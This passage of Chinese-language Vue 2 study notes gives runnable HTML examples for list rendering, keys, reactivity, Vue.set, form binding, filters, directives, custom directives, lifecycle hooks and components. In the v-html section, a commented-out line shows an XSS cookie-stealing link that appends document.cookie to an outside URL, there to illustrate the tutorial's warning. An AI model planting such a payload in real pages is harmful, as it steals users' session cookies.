</head><body><div id="app"><div v-show="true">v-show</div><div v-show="1===3">v-show</div><div v-show="isShow">v-show</div><hr><div v-if="true">v-if</div><div v-if="1===3">v-if</div><div v-if="isShow">v-if</div><hr>计数器：{{count}} <button @click="count++">点击+1</button><div v-if="count === 1">tony</div><div v-if="count === 2">admin</div><div v-if="count === 3">pony</div><template v-if="count > 3"> <!--在页面解析的时候不会显示template标签，不破坏结构--><hr><div>张三</div><div>李四</div><div>王五</div></template><hr><div v-if="count === 1">hello</div> <!--v-else-if和v-else不能跟v-if中间打断--><div v-else-if="count === 2">world</div><div v-else >hello world</div></div><script>Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {info:"helloworld",isShow:true,count:0}})</script>
</body></html>
1.13 列表渲染
1.13.1 基本列表
v-for指令：
- 用于展示列表数据
- 语法：v-for="(item,index)in xxx" :key=“yyy”
- 可遍历：数组、对象、字符串（用的很少）、指定次数（用的很少）
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script>
</head><body><div id="app"><h1>解析列表信息</h1><ul><li v-for="(item,index) in persons" :key="index">{{item.name}}-{{item.age}}</li></ul><h1>解析对象信息</h1><ul><li v-for="(value,key) in car" :key="key">{{key}}-{{value}}</li></ul><h1>解析字符串</h1><ul><li v-for="(char,index) in say" :key="index">"{{char}}"-{{index}}</li></ul><h1>解析数字</h1><ul><li v-for="(number,index) in 10" :key="index">"{{number}}"-{{index}}</li></ul></div><script>Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {persons:[{id:"001",name:"张三",age:"18"},{id:"002",name:"李四",age:"19"},{id:"003",name:"王五",age:"20"}],car:{name:"hq",price:1000000,color: "black"},say:"hello world"}})</script>
</body></html>
1.13.2 key原理
面试题：react、vue中的key有什么作用？(key的内部原理）
- 虚拟DOM中key的作用：
- key是虚拟DOM对象的标识，当数据发生变化时，Vue会根据【新数据】生成【新的虚拟DOM】
- 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较，比较规则如下：
- 对比规则：
- 旧虚拟DOM中找到了与新虚拟DOM相同的key:
- 若虚拟DOM中内容没变，直接使用之前的真实DOM!
- 若虚拟DOM中内容变了，则生成新的真实DOM,随后替换掉页面中之前的真DOM。
- 旧虚拟DOM中未找到与新虚拟DOM相同的key
- 创建新的真实DOM,随后渲染到到页面。
- 旧虚拟DOM中找到了与新虚拟DOM相同的key:
- 用index作为key可能会引发的问题：
- 若对数据进行：逆序添加、逆序删除等破坏顺序操作：
- 会产生没有必要的真实DOM更新==》界面效果没问题，但效率低。
- 如果结构中还包含输入类的DOM:
- 会产生错误DOM更新==》界面有问题。
- 若对数据进行：逆序添加、逆序删除等破坏顺序操作：
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script>
</head><body><div id="app"><h1>解析列表信息，key为index</h1><ul><li v-for="(item,index) in persons" :key="index">{{item.name}}-{{item.age}} <input type="text"></li></ul><h1>解析列表信息，key为id</h1><ul><li v-for="(item,index) in persons" :key="item.id">{{item.name}}-{{item.age}} <input type="text"></li></ul><button @click.once="addPerson">添加一个用户</button></div><script>Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {persons:[{id:"001",name:"张三",age:"18"},{id:"002",name:"李四",age:"19"},{id:"003",name:"王五",age:"20"}]},methods: {addPerson(){const person = {id:"004",name:"赵六",age:"20"}this.persons.unshift(person)} },})</script>
</body></html>
1.13.4 列表过滤
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script>
</head><body><div id="app"><h1>模糊搜索-watch实现</h1><input type="text" v-model="keyWord" placeholder="请输入姓名" /><ul><li v-for="(item,index) in searchResult" :key="item.id">姓名：{{item.name}}，年龄：{{item.age}}，性别：{{item.sex}}</li></ul><h1>模糊搜索-computed实现</h1><input type="text" v-model="keyWord2" placeholder="请输入姓名" /><ul><li v-for="(item,index) in searchResult2" :key="item.id">姓名：{{item.name}}，年龄：{{item.age}}，性别：{{item.sex}}</li></ul></div><script>Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {keyWord:"",keyWord2:"",persons:[{id:"001",name:"张三",age:"18", sex:"男"},{id:"002",name:"李四",age:"19", sex:"男"},{id:"003",name:"王五",age:"20", sex:"男"},{id:"004",name:"赵六",age:"20", sex:"女"},{id:"004",name:"赵七",age:"20", sex:"女"}],searchResult:[],},computed:{searchResult2(){return this.persons.filter((p)=>{return p.name.indexOf(this.keyWord2) !== -1}) }},watch:{keyWord:{ immediate:true, //初始化时执行handlerhandler(val){ this.searchResult = this.persons.filter((p)=>{return p.name.indexOf(val) !== -1}) }}}})</script>
</body></html>
1.13.4 列表排序
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script><style>table{border: 1px solid #000;margin: 0 auto;}td{padding:10px 60px;text-align: left;}</style>
</head><body><div id="app"><table><tr><th>id</th><th>姓名</th> <th>年龄 <br/><button type="button" @click="changeSortType(0)">○</button><button type="button" @click="changeSortType(1)">↑</button><button type="button" @click="changeSortType(2)">↓</button></th><th>性别</th></tr><tr v-for="(item,index) in searchResult" :key="item.id"><td>{{item.id}}</td><td>{{item.name}}</td><td>{{item.age}}</td><td>{{item.sex}}</td></tr><tr><td colspan="4"><input type="text" v-model="keyWord" placeholder="请输入姓名" ></td></tr></table></div><script>Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {keyWord:"",sortType:0,persons:[{id:"001",name:"张三",age:"18", sex:"男"},{id:"002",name:"李四",age:"19", sex:"男"},{id:"003",name:"王五",age:"17", sex:"男"},{id:"004",name:"赵六",age:"25", sex:"女"},{id:"004",name:"赵七",age:"23", sex:"女"}],},methods: {changeSortType(type){this.sortType = type}},computed:{searchResult(){const arr = this.persons.filter((p)=>{return p.name.indexOf(this.keyWord) !== -1}) if(this.sortType){arr.sort((p1,p2)=>{ // p1 - p2升序，p2 - p1 降序return this.sortType === 1 ? p1.age - p2.age : p2.age - p1.age})}return arr;}}})</script>
</body></html>
1.13.5 数据更新时的小问题
分别修改列表中对象的每一个属性时，vue会检测到，页面会立即响应。
直接修改列表中的一个对象时，vue不会检测到，代码层面数据生效，但页面不会立即生效。
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script>
</head><body><div id="app"><ul><li v-for="(item, index) in persons" :key="item.id">{{item.id}}--{{item.name}}--{{item.age}}--{{item.sex}}</li></ul><button type="button" @click="changeInfo">修改张三信息（正常修改）</button><button type="button" @click="changeInfo2">修改张三信息（异常修改）</button></div><script>Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {persons:[{id:"001",name:"张三",age:"18", sex:"男"},{id:"002",name:"李四",age:"19", sex:"男"},{id:"003",name:"王五",age:"17", sex:"男"},{id:"004",name:"赵六",age:"25", sex:"女"},{id:"004",name:"赵七",age:"23", sex:"女"}],},methods: {changeInfo(){ //页面立即响应this.persons[0].name = "hello",this.persons[1].age = "22"},changeInfo2(){ //后台数据发生变化，页面不响应this.persons[0] = {id:"001",name:"world",age:"22", sex:"男"}}},})</script>
</body></html>
1.14 数据监测原理
1.14.1 模拟vue数据监测
单层对象的数据监测
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body></body>
<script type="text/javascript">let data = {name:"zs",age: 18}//创建一个监视对象，用于监视data中属性的变化const obs = new Obsrever(data);console.log(obs)//创建一个vm实例let vm = {}vm._data = data = obsfunction Obsrever(obj){//汇总对象中的所有属性形成一个数组const keys = Object.keys(obj)//遍历数组keys.forEach((k)=>{Object.defineProperty(this, k,{get(){return obj[k]},set(val){obj[k] = val}})})}
</script>
</html>
1.14.2 Vue.set()方法
向响应式对象中添加一个 property，并确保这个新 property 同样是响应式的，且触发视图更新。它必须用于向响应式对象上添加新 property，
注意对象不能是 Vue 实例，或者 Vue 实例的根数据对象。
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script><script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>
</head><body><div id="app"><h1>学生信息</h1><ul><li v-for="(value, key) in person">{{key}}-- {{value}}</li></ul><h2>添加学生信息</h2>字段名：<input type="text" id="key">值：<input type="text" id="value"><button type="button" @click="add" >添加</button></div><script>Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {person:{name:"张三",age: 20,sex: "男",},},methods: {add(){let key = $("#key").val()let value = $("#value").val()// Vue.set(vm.person, key, value)vm.$set(vm.person, key, value)}},})</script>
</body></html>
1.14.3 数组数据监测
Vue 将被侦听的数组的变更方法进行了包裹，所以它们也将会触发视图更新。这些被包裹过的方法包括：
push()pop()shift()unshift()splice()sort()reverse()
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script>
</head><body><div id="app"><ul><li v-for="(item, index) in persons" :key="item.id">{{item.id}}--{{item.name}}--{{item.age}}--{{item.sex}}</li></ul><input type="button" value="修改张三信息（使用下标修改）" @click="update1"><input type="button" value="修改张三信息（使用方法修改）" @click="update2"></div><script>Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {persons:[{id:"001",name:"张三",age:"18", sex:"男"},{id:"002",name:"李四",age:"19", sex:"男"},{id:"003",name:"王五",age:"17", sex:"男"},{id:"004",name:"赵六",age:"25", sex:"女"},{id:"005",name:"赵七",age:"23", sex:"女"}],},methods: {update1(){this.persons[0] = {id:"001",name:"pony",age:"19", sex:"男"}console.log(this.persons[0])},update2(){//方法一// this.persons.splice(0,1,{id:"001",name:"pony",age:"19", sex:"男"})//方法二Vue.set(vm.persons,0,{id:"001",name:"pony",age:"19", sex:"男"})}},})</script>
</body></html>
1.14.4 总结
Vue监视数据的原理：
- vue会监视data中所有层次的数据。
- 如何监测对象中的数据？
通过setter实现监视，且要在new Vue时就传入要监测的数据。
对象中后追加的属性，Vue默认不做响应式处理
如需给后添加的属性做响应式，请使用如下API:
Vue,set(target,propertyName/index,value)或
vm.$set(target,propertyName/index,value)如何监测数组中的数据？
通过包裹数组更新元素的方法实现，本质就是做了两件事：- 调用原生对应的方法对数组进行更新。
- 重新解析模板，进而更新页面。
在Vue修改数组中的某个元素一定要用如下方法：
使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
Vue.set()或vm.$set()
特别注意：Vue.set()和vm.$set()不能给vm或vm的根数据对象添加属性！
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script>
</head><body><div id="app"> 姓名：{{student.name}}<br/>年龄：{{student.age}}<br><template v-show="student.sex">性别：{{student.sex}} <br/></template>好友： <ul><li v-for="(item,index) in student.friends">姓名：{{item.name}}, 年龄：{{item.age}}</li></ul>爱好：<ul><li v-for="(item, index) in student.hobby">{{item}}</li></ul><button type="button" @click="student.age++">姓名+1</button><br/><br/><button type="button" @click="addSex">添加性别为男</button><br/><br/><button type="button" @click="addFriend">添加一个好友</button><br/><br/><button type="button" @click="updateLastFriendName">修改最后一个好友姓名为张三</button><br/><br/><button type="button" @click="addHobby">添加一个爱好</button><br/><br/><button type="button" @click="updateHobbyFrist">修改第一个爱好</button><br/><br/></div><script>Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {student:{name:"张三",age:18,friends:[{name:"pony",age:18},{name:"admin",age:20},],hobby:["抽烟","喝酒","烫头"]}},methods: {addSex(){this.$set(this.student,"sex","男")},addFriend(){this.student.friends.push({name:"zs", age:18})},updateLastFriendName(){// this.$set(this.student.friends, this.student.friends.length-1, {name:"张三", age:18})this.student.friends[this.student.friends.length-1].name = "张三"},addHobby(){this.student.hobby.push("写代码")},updateHobbyFrist(){this.$set(this.student.hobby, 0 , "开车")}},})</script>
</body></html>
1.15 收集表单数据
收集表单数据：
若：,则v-mode1收集的是value值，用户输入的就是value值。
若：,则v-mode]收集的是value值，且要给标签配置value值。
若：
- 没有配置input的value属性，那么收集的就是checked(勾选or未勾选，是布尔值）
- 配置input的value属性：
- v-mode1的初始值是非数组，那么收集的就是checked(勾选or未勾选，是布尔值）
- v-mode1的初始值是数组，那么收集的的就是value组成的数组
备注：V-mode1的三个修饰符：
- lazy:失去焦点再收集数据
- number:输入字符申转为有效的数字
- trim:输入首尾空格过滤
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script><style>.box{width: 20%;height: 100%;margin: 0 auto;padding: 25px;border: 2px solid #000;box-shadow: cadetblue 5px 5px;}</style>
</head><body><div id="app" class="box"><form @submit.prevent="formSubmit"> <!--当表单提交时，阻止默认提交行为，并调用方法formSubmit--><label for="name">姓名：</label><input type="text" id="name" v-model.trim="userInfo.name"> <br> <br><label for="password">密码：</label><input type="password" id="password" v-model.trim="userInfo.password"><br> <br><label for="age">年龄：</label><input type="number" id="age" v-model.trim.number="userInfo.age"><br> <br><label>性别：</label><label for="male">男:</label><input type="radio" id="male" name="sex" value="male" v-model="userInfo.sex"><label for="female">女:</label><input type="radio" id="female" name="sex" value="female" v-model="userInfo.sex"><br> <br><label>爱好：</label><label for="sing">唱歌:</label><input type="checkbox" id="sing" value="sing" v-model="userInfo.hobby"><label for="dance">跳:</label><input type="checkbox" id="dance" value="dance" v-model="userInfo.hobby"><label for="rap">rap:</label><input type="checkbox" id="rap" value="rap" v-model="userInfo.hobby"><label for="basketball">篮球:</label><input type="checkbox" id="basketball" value="basketball" v-model="userInfo.hobby"><br> <br><label for="school">学校：</label><select id="school" v-model="userInfo.school"><option value="">-请选择-</option><option value="武汉东湖">武汉东湖</option><option value="武汉软件">武汉软件</option><option value="武汉大学">武汉大学</option></select><br><br><label for="info">简介：</label><textarea id="info" v-model.lazy="userInfo.info"></textarea><br><br><input type="checkbox" id="agree" v-model="userInfo.agree"><label for="agree"><a href="https://www.baidu.com">用户协议</a></label><br> <br><button>提交</button></form></div><script>Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {userInfo:{name:"",password:"",age:18,sex:"male",hobby:[],info:"",agree:"",school:""} },methods: {formSubmit(){let jsonInfo = JSON.stringify(this.userInfo)console.log(jsonInfo)}},})</script>
</body></html>
1.16 过滤器
过滤器：
定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。
语法：
- 注册过滤器：Vue.filter(name,callback)或new Vue{filters:{}}
- 使用过滤器：{{xxx|过滤器名}}或v-bind:属性=“xxx|过滤器名”
备注：
- 过滤器也可以接收额外参数、多个过滤器也可以串联
- 并没有改变原本的数据，是产生新的对应的数据
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script><script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.10.6/dayjs.min.js"></script>
</head><body><div id="app"><p>时间戳：{{time}}</p><p>计算属性实现的时间格式化：{{nowDate}}</p><p>methods方法实现时间格式化：{{getDate()}}</p><p>过滤器实现1时间格式化：{{time | dateFormate1}}</p><p>过滤器实现2时间格式化：{{time | dateFormate2("YYYY-MM-DD")}}</p><p>过滤器实现3时间格式化：{{time | dateFormate2("YYYY-MM-DD") | mySlice}}</p><!--多级过滤会一层一层的往后传参--></div><div id="app2"><p>过滤器实现截取字符串：{{"helloworld" | mySlice}}</p></div><script>Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示Vue.filter("mySlice", function(value){ //全局的filter可以不同的vue实例一起使用return value.slice(0,4)})const vm = new Vue({el: '#app',data: {time:1628216520045 //时间戳},computed:{nowDate(){return dayjs(this.time).format("YYYY-MM-DD HH:mm:ss")}},methods: {getDate(){return dayjs(this.time).format("YYYY-MM-DD HH:mm:ss") }},filters:{dateFormate1(value){return dayjs(this.time).format("YYYY-MM-DD HH:mm:ss") },dateFormate2(value, str){ //要过滤的参数会默认放在第一个，第二个是方法传入的参数return dayjs(this.time).format(str) }}})new Vue({el:"#app2",data:{time: vm.time}})</script>
</body></html>
1.17 内置指令
我们学过的指令：
- v-bind: 单向绑定解析表达式，可简写为：XXX
- V-model: 双向数据绑定
- v-for: 遍历数组/对象/字符串
- V-on: 绑定事件监听，可简写为@
- v-if: 条件渲染（动态控制节点是否存存在）
- V-else: 条件渲染（动态控制节点是否存存在）
- v-show: 条件渲染（动态控制节点是否展示）
1.17.1 v-text指令
v-text指令：
- 作用：向其所在的节点中渲染文本内容。
- 与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script>
</head><body><div id="app"><p>{{say}}, 张三!</p><p v-text="say">, 张三!</p> <!--标签内的文本会别覆盖--></div><script>Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {say:"hello" }})</script>
</body></html>
1.17.2 v-html指令
v-html指令：
- 作用：向指定节点中渲染包含html结构的内容。
- 与插值语法的区别：
- v-html会替换掉节点中所有的内容，{{xx}}则不会。
- v-html可以想别html结构。
- 严重注意：v-html有安全性问题！!!!
- 在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
- 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上！
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><script src="../js/vue.min.js"></script>
</head><body><div id="app"><div v-html="tag1"></div><!-- 携带网站的cookie发送到服务器 --><!-- 指令：<a href=javascript:location.href='https://www.baidu.com?'+document.cookie>点击跳转</a><br> --><input type="text" v-model="tag2" placeholder="请输入"/><div v-html="tag2"></div></div><script>Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {tag1:"<h1>hello world</h1>",tag2:""}})</script>
</body></html>
1.17.3 v-cloak指令
V-cloak指令（没有值）:
- 本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
- 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>helloworld</title><style>[v-cloak]{display: none; }</style>
</head><body><div id="app" v-cloak>{{name}}</div><script src="../js/vue.min.js"></script><script>Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {name:"helloworld" }})</script>
</body></html>
1.17.4 v-once指令
V-once指令：
- v-once所在节点在初次动态渲染后，就视为静态内容了。
- 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>helloworld</title><script src="js/vue.js"></script>
</head>
<body><div id="app"><h1 v-once>计数器初始值：{{count}}</h1><p>计数器数值：{{count}}</p><button @click="count++">计数器+1</button></div>
</body>
<script type="text/javascript">Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el: '#app',data: {count:0, }})
</script>
</html>
1.17.5 v-pre指令
V-pre指令：
- 跳过其所在节点的编译过程。
- 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>helloworld</title><script src="js/vue.js"></script>
</head>
<body><div id="app"><p v-pre>{{a}}</p></div>
</body>
<script type="text/javascript">Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el:"#app",data:{a:"helloworld"},methods:{},})
</script>
</html>
1.18 自定义指令
需求1:定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。
需求2:定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。
自定义指令总结：
定义语法：
局部指令：
new Vue({directive:{指令名:配置对象} })new Vue({directive:{指令名:回调函数} })全局指令：Vue.directive(指令名，配置对象）或 Vue.directive(指令名，回调函数）
配置对象中常用的3个回调：
- bind:指令与元素成功绑定时调用。
- inserted:指令所在元素被插入页面时调用。
- update:指令所在模板结构被重新解析时调用。
备注：
- 指令定义时不加V-,但使用时要加V-;
- 指令名如果是多个单词，要使用kebab-case命名方式，不要用came1Case命名。
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>helloworld</title><script src="js/vue.js"></script>
</head>
<body><div id="app"><h1>number的原始值：{{number}}</h1><h2>number放大十倍：<span v-big="number"></span></h2><button @click="number++">点我number+1</button><input type="text" v-fbind="number"></div>
</body>
<script type="text/javascript">Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示// Vue.directive("fbind",{ //全局自定义指令// bind(element, binding){ //指令与元素成功绑定时调用// console.log("bind")// element.value = binding.value*10// },// inserted(element, binding){ //指令所在元素被插入页面后调用// console.log("inserted")// element.focus()// },// update(element, binding){ //指令所用到的数据发生更新时调用// console.log("update")// element.value = binding.value*10// }// })const vm = new Vue({el:"#app",data:{number:1},directives:{big(element, binding){ //big函数何时会被调用？1.指令与元素成功绑定时2.指令所用到的数据发生更新时console.log("big loading...")console.log(binding)console.dir(element)element.innerText = binding.value*10},// "big"(element, binding){ //完整写法指令名加引号// console.log("big loading...")// console.log(binding)// console.dir(element)// element.innerText = binding.value*10// },fbind:{bind(element, binding){ //指令与元素成功绑定时调用console.log("bind")element.value = binding.value*10},inserted(element, binding){ //指令所在元素被插入页面后调用console.log("inserted")element.focus()},update(element, binding){ //指令所用到的数据发生更新时调用console.log("update")element.value = binding.value*10}}}})
</script>
</html>
1.19 生命周期
生命周期：
- 又名：生命周期回调函数、生命周期函数、生命周期钩子。
- 是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数。
- 生命周期函数的名字不可更改，但函数的具体内容是程序员根据需求编写的。
- 生命周期函数中的this指向是vm或组件实例对象。
1.19.1 引出生命周期
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>helloworld</title><script src="js/vue.js"></script>
</head>
<body><div id="app"><h1 :style="{opacity}">helloworld</h1></div>
</body>
<script type="text/javascript">Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el:"#app",data:{opacity:1},mounted() {console.log("mounted")setInterval(()=>{ //vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕）调用mountthis.opacity -= 0.005if(this.opacity <= 0) this.opacity = 1})},})
</script>
</html>
1.19.2 生命周期
vm的一生（vm的生命周期）:
- 将要创建–>调用beforeCreate函数。
- 创建完毕–>调用created函数。
- 将要挂载–>调用beforeMount函数。
- 挂载完毕**(重要)**–>调用mounted函数。------>【重要的钩子】
- 将要更新–>调用beforeUpdate函数。
- 更新完毕–>调用updated函数。
- 将要销毁**(重要)**–>调用beforeDestroy函数。------>【重要的钩子】
- 销毁完毕–>调用destroyed函数。
常用的生命周期钩子：
- mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
- beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。
关于销毁Vue实例
- 销毁后借助Vue开发者工具看不到任何信息。
- 销毁后自定义事件会失效，但原生DOM事件依然有效。
- 一般不会在beforeDestroy操作数据，因为即便操作数据，也不会再触发更新流程了。
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>helloworld</title><script src="js/vue.js"></script>
</head>
<body><div id="app"><p>n的值是：{{n}}</p><button @click="add">n+1</button><button @click="destroy">点我销毁</button></div>
</body>
<script type="text/javascript">Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示const vm = new Vue({el:"#app",data:{n:1},methods:{add(){this.n++},destroy(){this.$destroy()}},beforeCreate() {//此时data还未做数据带来，无法操作data和method等console.log("beforeCreate")},created() {console.log("beforeCreate")},beforeMount() {console.log("beforeMount")},mounted() {console.log("mounted")},beforeUpdate() {console.log("beforeUpdate")},updated() {console.log("updated")},beforeDestroy() {console.log("beforeDestroy")},destroyed() {console.log("destroyed") },})
</script>
</html>
2. Vue组件化编程
2.1 模块与组件，模块化与组件化
2.1.1 模块
- 理解：向外提供特定功能的js程序，一般就是一个js文件
- 为什么：js文件很多很复杂
- 作用：复用js,简化js的编写，提高js运行效率
2.1.2 组件
- 理解：用来实现局部（特定）功能效果的代码集合（html/css/js/image…))
- 为什么：一个界面的功能很复杂
- 作用：复用编码，简化项目编码，提高运行效率
2.1.43 模块化
- 当应用中的js都以模块来编写的，那这个应用就是一个模块化的应用。
2.1.4 组件化
- 当应用中的功能都是多组件的方式来编写的，那这个应用就是一个组件化的应用
2.2 非单文件组件
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>helloworld</title><script src="js/vue.js"></script>
</head>
<body><div id="app"><!--第三步：使用组件--><hello></hello><hr><student></student><hr><school></school></div><div id="app2"><hello></hello></div>
</body>
<script type="text/javascript">Vue.config.devtools = true //使用VueTools工具进行调试Vue.config.productionTip=false //以阻止 vue 在启动时生成生产提示//第一步：创建学生组件const student = Vue.extend({template:`<div><p>学生姓名：{{sudentName}}</p><p>学生年龄：{{age}}</p><button @click="ageAdd">年龄+1</button></div>`,data(){return {sudentName:"Lyx",age: 23}},methods: {ageAdd(){this.age ++}},})//第一步：创建学校组件const school = Vue.extend({template:`<div><p>学校名称：{{schoolName}}</p><p>学校地址：{{address}}</p></div>`,data(){return {schoolName:"Lyx",address: "武汉"}}})//第一步：创建学校组件const hello = Vue.extend({template:`<div><p>{{hello}}</p></div>`,data(){return {hello:"hello vue!"}}})//第二步：注册组件（全局）Vue.component("hello", hello)const vm = new Vue({el:"#app",components:{ //第二步：注册组件(局部)student, //student ==》 xuesheng:studentschool,hello}})new Vue({el:"#app2"})
</script>
</html>
2.3 使用组件的注意点
几个注意点：
关于组件名：
一个单词组成：
- 第一种写法（首字母小写）: school
- 第二种写法（首字母大写）: School
多个单词组成：
- 第一种写法（kebab-case命名）:my-school
- 第二种写法（Came1Case命名）:MySchool(需要Vue脚手架支持）
备注：
- 组件名尽可能回避HTML中已有的元素名称，例如：h2、H2都不行。
- 可以使用name配置项指定组件在开发者工具中呈现的名字。
关于组件标签：
第一种写法：
<school>/school>第二种写法：
<school/>备注：不用使用脚手架时，会导致后续组件不能渲染。
一个简写方式：
- const school = Vue.extend(options) 可简写为：const school=options
<!DOCTYPE html>
<html lang="en">
